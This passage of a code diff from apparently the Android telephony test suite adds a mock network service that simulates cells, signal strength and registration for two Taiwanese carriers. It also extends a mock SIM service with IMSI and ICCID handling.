+    private int mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+
+    private String mSimPlmn;
+    private boolean mIsHomeCamping;
+    private boolean mIsRoamingCamping;
+    private int mHomeCarrierId;
+    private int mRoamingCarrierId;
+    private int mInServiceCarrierId;
+    private int mHighRat;
+
+    private ArrayList<MockModemCell> mCellList = new ArrayList<MockModemCell>();
+
+    private class MockModemCell {
+        private int mCarrierId;
+
+        // Non-AOSP
+        public String[] mEHPlmnList;
+        public String[] mAllowRoamingList;
+
+        // AOSP
+        private CellInfo[] mCells;
+
+        MockModemCell(int carrierConfig) {
+            mCarrierId = carrierConfig;
+            updateHomeRoamingList();
+            updateCellList();
+        }
+
+        public int getCarrierId() {
+            return mCarrierId;
+        }
+
+        public CellInfo[] getCells() {
+            return mCells;
+        }
+
+        private void updateHomeRoamingList() {
+            // TODO: Read from carrier configuration file
+            switch (mCarrierId) {
+                case MOCK_CARRIER_CHT:
+                    mEHPlmnList = new String[] {"46692"};
+                    mAllowRoamingList = new String[] {"310026"};
+                    break;
+                case MOCK_CARRIER_FET:
+                    mEHPlmnList = new String[] {"46601"};
+                    mAllowRoamingList = new String[] {"310026"};
+                    break;
+                case MOCK_CARRIER_NO_SERVICE:
+                default:
+                    break;
+            }
+        }
+
+        private void updateCellList() {
+            // TODO: Read from carrier configuration file
+            switch (mCarrierId) {
+                case MOCK_CARRIER_NO_SERVICE:
+                    break;
+                case MOCK_CARRIER_CHT:
+                    // LTE Cell configuration
+                    CellInfoLte lte = new CellInfoLte();
+                    lte.cellIdentityLte = new android.hardware.radio.network.CellIdentityLte();
+                    lte.cellIdentityLte.mcc = "466";
+                    lte.cellIdentityLte.mnc = "92";
+                    lte.cellIdentityLte.ci = 101;
+                    lte.cellIdentityLte.pci = 273;
+                    lte.cellIdentityLte.tac = 13100;
+                    lte.cellIdentityLte.earfcn = 9260;
+                    lte.cellIdentityLte.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    lte.cellIdentityLte.operatorNames.alphaLong = "Chung Hwa Telecom";
+                    lte.cellIdentityLte.operatorNames.alphaShort = "CHT";
+                    lte.cellIdentityLte.operatorNames.operatorNumeric = "46692";
+                    lte.cellIdentityLte.additionalPlmns = new String[0];
+                    lte.cellIdentityLte.bands = new int[0];
+
+                    lte.signalStrengthLte = new android.hardware.radio.network.LteSignalStrength();
+                    lte.signalStrengthLte.signalStrength = 20;
+                    lte.signalStrengthLte.rsrp = 71;
+                    lte.signalStrengthLte.rsrq = 6;
+                    lte.signalStrengthLte.rssnr = 100;
+                    lte.signalStrengthLte.cqi = 13;
+                    lte.signalStrengthLte.timingAdvance = 0;
+                    lte.signalStrengthLte.cqiTableIndex = 1;
+
+                    // WCDMA Cell configuration
+                    CellInfoWcdma wcdma = new CellInfoWcdma();
+                    wcdma.cellIdentityWcdma =
+                            new android.hardware.radio.network.CellIdentityWcdma();
+                    wcdma.cellIdentityWcdma.mcc = "466";
+                    wcdma.cellIdentityWcdma.mnc = "92";
+                    wcdma.cellIdentityWcdma.lac = 9222;
+                    wcdma.cellIdentityWcdma.cid = 14549;
+                    wcdma.cellIdentityWcdma.psc = 413;
+                    wcdma.cellIdentityWcdma.uarfcn = 10613;
+                    wcdma.cellIdentityWcdma.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    wcdma.cellIdentityWcdma.operatorNames.alphaLong = "Chung Hwa 3G";
+                    wcdma.cellIdentityWcdma.operatorNames.alphaShort = "CHT";
+                    wcdma.cellIdentityWcdma.operatorNames.operatorNumeric = "46692";
+                    wcdma.cellIdentityWcdma.additionalPlmns = new String[0];
+
+                    wcdma.signalStrengthWcdma =
+                            new android.hardware.radio.network.WcdmaSignalStrength();
+                    wcdma.signalStrengthWcdma.signalStrength = 20;
+                    wcdma.signalStrengthWcdma.bitErrorRate = 3;
+                    wcdma.signalStrengthWcdma.rscp = 45;
+                    wcdma.signalStrengthWcdma.ecno = 25;
+
+                    // Fill the cells
+                    mCells = new CellInfo[2]; // TODO: 2 is read from config file
+                    mCells[0] = new CellInfo();
+                    mCells[0].registered = false;
+                    mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+                    mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[0].ratSpecificInfo.setLte(lte);
+
+                    mCells[1] = new CellInfo();
+                    mCells[1].registered = false;
+                    mCells[1].connectionStatus = CellConnectionStatus.SECONDARY_SERVING;
+                    mCells[1].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[1].ratSpecificInfo.setWcdma(wcdma);
+                    break;
+                case MOCK_CARRIER_FET:
+                    // WCDMA Cell configuration
+                    CellInfoWcdma wcdma2 = new CellInfoWcdma();
+                    wcdma2.cellIdentityWcdma =
+                            new android.hardware.radio.network.CellIdentityWcdma();
+                    wcdma2.cellIdentityWcdma.mcc = "466";
+                    wcdma2.cellIdentityWcdma.mnc = "01";
+                    wcdma2.cellIdentityWcdma.lac = 8122;
+                    wcdma2.cellIdentityWcdma.cid = 16249;
+                    wcdma2.cellIdentityWcdma.psc = 413;
+                    wcdma2.cellIdentityWcdma.uarfcn = 10613;
+                    wcdma2.cellIdentityWcdma.operatorNames =
+                            new android.hardware.radio.network.OperatorInfo();
+                    wcdma2.cellIdentityWcdma.operatorNames.alphaLong = "Far EasTone";
+                    wcdma2.cellIdentityWcdma.operatorNames.alphaShort = "FET";
+                    wcdma2.cellIdentityWcdma.operatorNames.operatorNumeric = "46601";
+                    wcdma2.cellIdentityWcdma.additionalPlmns = new String[0];
+
+                    wcdma2.signalStrengthWcdma =
+                            new android.hardware.radio.network.WcdmaSignalStrength();
+                    wcdma2.signalStrengthWcdma.signalStrength = 10;
+                    wcdma2.signalStrengthWcdma.bitErrorRate = 6;
+                    wcdma2.signalStrengthWcdma.rscp = 55;
+                    wcdma2.signalStrengthWcdma.ecno = 15;
+
+                    // Fill the cells
+                    mCells = new CellInfo[1];
+                    mCells[0] = new CellInfo();
+                    mCells[0].registered = false;
+                    mCells[0].connectionStatus = CellConnectionStatus.PRIMARY_SERVING;
+                    mCells[0].ratSpecificInfo = new CellInfoRatSpecificInfo();
+                    mCells[0].ratSpecificInfo.setWcdma(wcdma2);
+                    break;
+                default:
+                    break;
+            }
+        }
+
+        public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+            android.hardware.radio.network.OperatorInfo operatorInfo =
+                    new android.hardware.radio.network.OperatorInfo();
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            operatorInfo =
+                                    cellInfo.ratSpecificInfo.getWcdma()
+                                            .cellIdentityWcdma
+                                            .operatorNames;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            operatorInfo =
+                                    cellInfo.ratSpecificInfo.getLte().cellIdentityLte.operatorNames;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return operatorInfo;
+        }
+
+        public android.hardware.radio.network.SignalStrength getPrimaryCellSignalStrength() {
+            android.hardware.radio.network.SignalStrength signalStrength =
+                    new android.hardware.radio.network.SignalStrength();
+
+            signalStrength.gsm = new android.hardware.radio.network.GsmSignalStrength();
+            signalStrength.cdma = new android.hardware.radio.network.CdmaSignalStrength();
+            signalStrength.evdo = new android.hardware.radio.network.EvdoSignalStrength();
+            signalStrength.lte = new android.hardware.radio.network.LteSignalStrength();
+            signalStrength.tdscdma = new android.hardware.radio.network.TdscdmaSignalStrength();
+            signalStrength.wcdma = new android.hardware.radio.network.WcdmaSignalStrength();
+            signalStrength.nr = new android.hardware.radio.network.NrSignalStrength();
+            signalStrength.nr.csiCqiReport = new byte[0];
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            signalStrength.wcdma =
+                                    cellInfo.ratSpecificInfo.getWcdma().signalStrengthWcdma;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            signalStrength.lte =
+                                    cellInfo.ratSpecificInfo.getLte().signalStrengthLte;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return signalStrength;
+        }
+
+        public int getPrimaryCellRat() {
+            int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            // TODO: Need find an element to assign the rat WCDMA, HSUPA, HSDPA, or
+                            // HSPA
+                            rat = android.hardware.radio.RadioTechnology.HSPA;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            rat = android.hardware.radio.RadioTechnology.LTE;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return rat;
+        }
+
+        public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+            android.hardware.radio.network.CellIdentity cellIdentity =
+                    android.hardware.radio.network.CellIdentity.noinit(true);
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            cellIdentity.setWcdma(
+                                    cellInfo.ratSpecificInfo.getWcdma().cellIdentityWcdma);
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            cellIdentity.setLte(cellInfo.ratSpecificInfo.getLte().cellIdentityLte);
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return cellIdentity;
+        }
+    }
+
+    public MockNetworkService() {
+        loadMockModemCell(MOCK_CARRIER_CHT);
+        loadMockModemCell(MOCK_CARRIER_FET);
+    }
+
+    public void loadMockModemCell(int carrierId) {
+        if (!mCellList.isEmpty()) {
+            for (MockModemCell mmc : mCellList) {
+                if (mmc.getCarrierId() == carrierId) {
+                    Log.d(TAG, "Carrier ID " + carrierId + " is loaded.");
+                    return;
+                }
+            }
+        }
+
+        mCellList.add(new MockModemCell(carrierId));
+    }
+
+    private int getHighestRatFromNetworkType(int raf) {
+        int rat;
+        int networkMode = RadioAccessFamily.getNetworkTypeFromRaf(raf);
+
+        switch (networkMode) {
+            case RILConstants.NETWORK_MODE_WCDMA_PREF:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_GSM_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_GSM;
+                break;
+            case RILConstants.NETWORK_MODE_WCDMA_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_GSM_UMTS:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_CDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_CDMA_NO_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+                break;
+            case RILConstants.NETWORK_MODE_EVDO_NO_CDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_EVDO_0;
+                break;
+            case RILConstants.NETWORK_MODE_GLOBAL:
+                // GSM | WCDMA | CDMA | EVDO;
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_NR_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            default:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_UNKNOWN;
+                break;
+        }
+        return rat;
+    }
+
+    public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+        android.hardware.radio.network.OperatorInfo operatorInfo =
+                new android.hardware.radio.network.OperatorInfo();
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            operatorInfo = getCarrierStatus(mHomeCarrierId).getPrimaryCellOperatorInfo();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            operatorInfo = getCarrierStatus(mRoamingCarrierId).getPrimaryCellOperatorInfo();
+        }
+
+        return operatorInfo;
+    }
+
+    public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+        android.hardware.radio.network.CellIdentity cellIdentity =
+                android.hardware.radio.network.CellIdentity.noinit(true);
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            cellIdentity = getCarrierStatus(mHomeCarrierId).getPrimaryCellIdentity();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            cellIdentity = getCarrierStatus(mRoamingCarrierId).getPrimaryCellIdentity();
+        }
+
+        return cellIdentity;
+    }
+
+    public android.hardware.radio.network.CellInfo[] getCells() {
+        ArrayList<android.hardware.radio.network.CellInfo> cellInfos = new ArrayList<>();
+
+        for (MockModemCell mmc : mCellList) {
+            CellInfo[] cells = mmc.getCells();
+            if (cells != null) {
+                for (CellInfo cellInfo : cells) {
+                    cellInfos.add(cellInfo);
+                }
+            }
+        }
+
+        return cellInfos.stream().toArray(android.hardware.radio.network.CellInfo[]::new);
+    }
+
+    public boolean updateHighestRegisteredRat(int raf) {
+
+        int rat = mHighRat;
+        mHighRat = getHighestRatFromNetworkType(raf);
+
+        return (rat == mHighRat);
+    }
+
+    public void updateNetworkStatus(int reason) {
+        if (reason == NETWORK_UPDATE_PREFERRED_MODE_CHANGE) {
+            Log.d(TAG, "updateNetworkStatus: NETWORK_UPDATE_PREFERRED_MODE_CHANGE");
+            // TODO
+        }
+    }
+
+    public int getRegistrationRat() {
+        int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            rat = getCarrierStatus(mHomeCarrierId).getPrimaryCellRat();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            rat = getCarrierStatus(mRoamingCarrierId).getPrimaryCellRat();
+        }
+
+        return rat;
+    }
+
+    public android.hardware.radio.network.SignalStrength getSignalStrength() {
+        android.hardware.radio.network.SignalStrength signalStrength =
+                new android.hardware.radio.network.SignalStrength();
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            signalStrength = getCarrierStatus(mHomeCarrierId).getPrimaryCellSignalStrength();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            signalStrength = getCarrierStatus(mRoamingCarrierId).getPrimaryCellSignalStrength();
+        } else {
+            // TODO
+        }
+
+        return signalStrength;
+    }
+
+    public int getRegistration(int domain) {
+        if (domain == android.hardware.radio.network.Domain.CS) {
+            return mCsRegState;
+        } else {
+            return mPsRegState;
+        }
+    }
+
+    public boolean isInService() {
+        return ((mCsRegState == RegState.REG_HOME)
+                || (mPsRegState == RegState.REG_HOME)
+                || (mCsRegState == RegState.REG_ROAMING)
+                || (mPsRegState == RegState.REG_ROAMING));
+    }
+
+    public void updateSimPlmn(String simPlmn) {
+        mSimPlmn = simPlmn;
+
+        // Reset mHomeCarrierId and mRoamingCarrierId
+        mHomeCarrierId = MOCK_CARRIER_NO_SERVICE;
+        mRoamingCarrierId = MOCK_CARRIER_NO_SERVICE;
+
+        if (mSimPlmn == null || mSimPlmn.isEmpty()) return;
+
+        if (mCellList.isEmpty()) return;
+
+        for (MockModemCell mmc : mCellList) {
+
+            if (isHomeCellExisted() && isRoamingCellExisted()) break;
+
+            // Find out which cell is Home cell
+            for (String plmn : mmc.mEHPlmnList) {
+                if (!isHomeCellExisted() && mSimPlmn.equals(plmn)) {
+                    mHomeCarrierId = mmc.getCarrierId();
+                    Log.d(TAG, "Cell ID: Home Cell " + mHomeCarrierId);
+                }
+            }
+
+            // Find out which cell is Home cell
+            for (String plmn : mmc.mAllowRoamingList) {
+                if (!isRoamingCellExisted() && mSimPlmn.equals(plmn)) {
+                    mRoamingCarrierId = mmc.getCarrierId();
+                    Log.d(TAG, "Cell ID: Roaming Cell " + mRoamingCarrierId);
+                }
+            }
+        }
+    }
+
+    /**
+     * Set the device enters IN SERVICE
+     *
+     * @param isRoaming boolean true if the camping network is Roaming service, otherwise Home
+     *     service
+     * @param inService boolean true if the deviec enters carrier coverge, otherwise the device
+     *     leaves the carrier coverage.
+     */
+    public void setServiceStatus(boolean isRoaming, boolean inService) {
+        if (isRoaming) {
+            mIsRoamingCamping = inService;
+        } else {
+            mIsHomeCamping = inService;
+        }
+    }
+
+    public boolean getIsHomeCamping() {
+        return mIsHomeCamping;
+    }
+
+    public boolean getIsRoamingCamping() {
+        return mIsRoamingCamping;
+    }
+
+    public boolean isHomeCellExisted() {
+        return (mHomeCarrierId != MOCK_CARRIER_NO_SERVICE);
+    }
+
+    public boolean isRoamingCellExisted() {
+        return (mRoamingCarrierId != MOCK_CARRIER_NO_SERVICE);
+    }
+
+    public void updateServiceState(int reg) {
+        Log.d(TAG, "Cell ID: updateServiceState " + reg);
+        switch (reg) {
+            case RegState.NOT_REG_MT_SEARCHING_OP:
+                mCsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+                mPsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+                break;
+            case RegState.REG_HOME:
+                mCsRegState = RegState.REG_HOME;
+                mPsRegState = RegState.REG_HOME;
+                break;
+            case RegState.REG_ROAMING:
+                mCsRegState = RegState.REG_ROAMING;
+                mPsRegState = RegState.REG_ROAMING;
+                break;
+            case RegState.NOT_REG_MT_NOT_SEARCHING_OP:
+            default:
+                mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+                mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+                break;
+        }
+
+        // TODO: mCsRegState and mPsReState may be changed by the registration denied reason set by
+        // TestCase
+
+        for (MockModemCell mmc : mCellList) {
+            boolean registered;
+            if ((mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME)
+                    && mHomeCarrierId == mmc.getCarrierId()) {
+                registered = true;
+            } else if ((mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING)
+                    && mRoamingCarrierId == mmc.getCarrierId()) {
+                registered = true;
+            } else {
+                registered = false;
+            }
+
+            CellInfo[] cells = mmc.getCells();
+            if (cells != null) {
+                for (CellInfo cellInfo : cells) {
+                    cellInfo.registered = registered;
+                }
+            }
+        }
+    }
+
+    public MockModemCell getCarrierStatus(int carrierId) {
+        for (MockModemCell mmc : mCellList) {
+            if (mmc.getCarrierId() == carrierId) return mmc;
+        }
+
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "isInService():" + isInService() + " Rat:" + getRegistrationRat() + "";
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
similarity index 68%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
index 2e43c54..8183925 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockSimService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony.mockmodem;
 
 import android.content.Context;
 import android.hardware.radio.sim.AppStatus;
@@ -26,6 +26,7 @@
 
 import java.io.InputStream;
 import java.util.ArrayList;
+import java.util.Locale;
 
 public class MockSimService {
     private static final String TAG = "MockSimService";
@@ -33,7 +34,16 @@
     /* Support SIM card identify */
     public static final int MOCK_SIM_PROFILE_ID_DEFAULT = 0; // SIM Absent
     public static final int MOCK_SIM_PROFILE_ID_TWN_CHT = 1;
-    public static final int MOCK_SIM_PROFILE_ID_MAX = 2;
+    public static final int MOCK_SIM_PROFILE_ID_TWN_FET = 2;
+    public static final int MOCK_SIM_PROFILE_ID_MAX = 3;
+
+    /* Type of SIM IO command */
+    public static final int COMMAND_READ_BINARY = 0xb0;
+    public static final int COMMAND_GET_RESPONSE = 0xc0;
+
+    /* EF Id definition */
+    public static final int EF_ICCID = 0x2FE2;
+    public static final int EF_IMSI = 0x6F07;
 
     /* SIM profile XML TAG definition */
     private static final String MOCK_SIM_TAG = "MockSim";
@@ -111,7 +121,6 @@
 
     // SIM card data
     private int mSimProfileId;
-    private String mICCID;
     private String mEID;
     private String mATR;
     private int mUniversalPinState;
@@ -120,6 +129,9 @@
     private ArrayList<SimAppData> mSimAppList;
 
     public class SimAppData {
+        private static final int EF_INFO_DATA = 0;
+        private static final int EF_BINARY_DATA = 1;
+
         private int mSimAppId;
         private String mAid;
         private boolean mIsCurrentActive;
@@ -127,12 +139,25 @@
         private int mFdnStatus;
         private int mPin1State;
         private String mImsi;
+        private String mMcc;
+        private String mMnc;
+        private String mMsin;
+        private String[] mIccid;
 
-        public SimAppData(int simappid, String aid, String path) {
+        private void initSimAppData(int simappid, String aid, String path, boolean status) {
             mSimAppId = simappid;
             mAid = aid;
-            mIsCurrentActive = false;
+            mIsCurrentActive = status;
             mPath = path;
+            mIccid = new String[2];
+        }
+
+        public SimAppData(int simappid, String aid, String path) {
+            initSimAppData(simappid, aid, path, false);
+        }
+
+        public SimAppData(int simappid, String aid, String path, boolean status) {
+            initSimAppData(simappid, aid, path, status);
         }
 
         public int getSimAppId() {
@@ -168,11 +193,53 @@
         }
 
         public String getImsi() {
-            return mImsi;
+            return mMcc + mMnc + mMsin;
         }
 
-        public void setImsi(String imsi) {
-            mImsi = imsi;
+        public void setImsi(String mcc, String mnc, String msin) {
+            setMcc(mcc);
+            setMnc(mnc);
+            setMsin(msin);
+        }
+
+        public String getMcc() {
+            return mMcc;
+        }
+
+        public void setMcc(String mcc) {
+            mMcc = mcc;
+        }
+
+        public String getMnc() {
+            return mMnc;
+        }
+
+        public void setMnc(String mnc) {
+            mMnc = mnc;
+        }
+
+        public String getMsin() {
+            return mMsin;
+        }
+
+        public void setMsin(String msin) {
+            mMsin = msin;
+        }
+
+        public String getIccidInfo() {
+            return mIccid[EF_INFO_DATA];
+        }
+
+        public void setIccidInfo(String info) {
+            mIccid[EF_INFO_DATA] = info;
+        }
+
+        public String getIccid() {
+            return mIccid[EF_BINARY_DATA];
+        }
+
+        public void setIccid(String iccid) {
+            mIccid[EF_BINARY_DATA] = iccid;
         }
     }
 
@@ -269,8 +336,10 @@
             mSimProfileInfoList[idx] = new SimProfileInfo(idx);
             switch (idx) {
                 case MOCK_SIM_PROFILE_ID_TWN_CHT:
-                    String filename = "mock_sim_tw_cht.xml";
-                    mSimProfileInfoList[idx].setXmlFile(filename);
+                    mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_cht.xml");
+                    break;
+                case MOCK_SIM_PROFILE_ID_TWN_FET:
+                    mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_fet.xml");
                     break;
                 default:
                     break;
@@ -443,11 +512,69 @@
         return idx;
     }
 
-    private boolean storeEfData(String aid, String name, String id, String value) {
+    private String[] extractImsi(String imsi, int mncDigit) {
+        String[] result = null;
+
+        Log.d(TAG, "IMSI = " + imsi + ", mnc-digit = " + mncDigit);
+
+        if (imsi.length() > 15 && imsi.length() < 5) {
+            Log.d(TAG, "Invalid IMSI length.");
+            return result;
+        }
+
+        if (mncDigit != 2 && mncDigit != 3) {
+            Log.d(TAG, "Invalid mnc length.");
+            return result;
+        }
+
+        result = new String[3];
+        result[0] = imsi.substring(0, 3); // MCC
+        result[1] = imsi.substring(3, 3 + mncDigit); // MNC
+        result[2] = imsi.substring(3 + mncDigit, imsi.length()); // MSIN
+
+        Log.d(TAG, "MCC = " + result[0] + " MNC = " + result[1] + " MSIN = " + result[2]);
+
+        return result;
+    }
+
+    private boolean storeEfData(
+            String aid, String name, String id, String command, String[] value) {
         boolean result = true;
+
+        if (value == null) {
+            Log.e(TAG, "Invalid value of EF field - " + name + "(" + id + ")");
+            return false;
+        }
+
         switch (name) {
             case "EF_IMSI":
-                mSimAppList.get(getSimAppDataIndexByAid(aid)).setImsi(value);
+                if (value.length == 3
+                        && value[0] != null
+                        && value[0].length() == 3
+                        && value[1] != null
+                        && (value[1].length() == 2 || value[1].length() == 3)
+                        && value[2] != null
+                        && value[2].length() > 0
+                        && (value[0].length() + value[1].length() + value[2].length() <= 15)) {
+                    mSimAppList
+                            .get(getSimAppDataIndexByAid(aid))
+                            .setImsi(value[0], value[1], value[2]);
+                } else {
+                    result = false;
+                    Log.e(TAG, "Invalid value for EF field - " + name + "(" + id + ")");
+                }
+                break;
+            case "EF_ICCID":
+                if (command.length() > 2
+                        && Integer.parseInt(command.substring(2), 16) == COMMAND_READ_BINARY) {
+                    mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccid(value[0]);
+                } else if (command.length() > 2
+                        && Integer.parseInt(command.substring(2), 16) == COMMAND_GET_RESPONSE) {
+                    mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccidInfo(value[0]);
+                } else {
+                    Log.e(TAG, "No valid Iccid data found");
+                    result = false;
+                }
                 break;
             default:
                 result = false;
@@ -471,6 +598,7 @@
             XmlPullParser parser = Xml.newPullParser();
             InputStream input;
             boolean mocksim_validation = false;
+            boolean mocksim_pf_validatiion = false;
             boolean mocksim_mf_validation = false;
             int appidx = 0;
             int fd_lock = 0;
@@ -484,16 +612,15 @@
                     case XmlPullParser.START_TAG:
                         if (MOCK_SIM_TAG.equals(parser.getName())) {
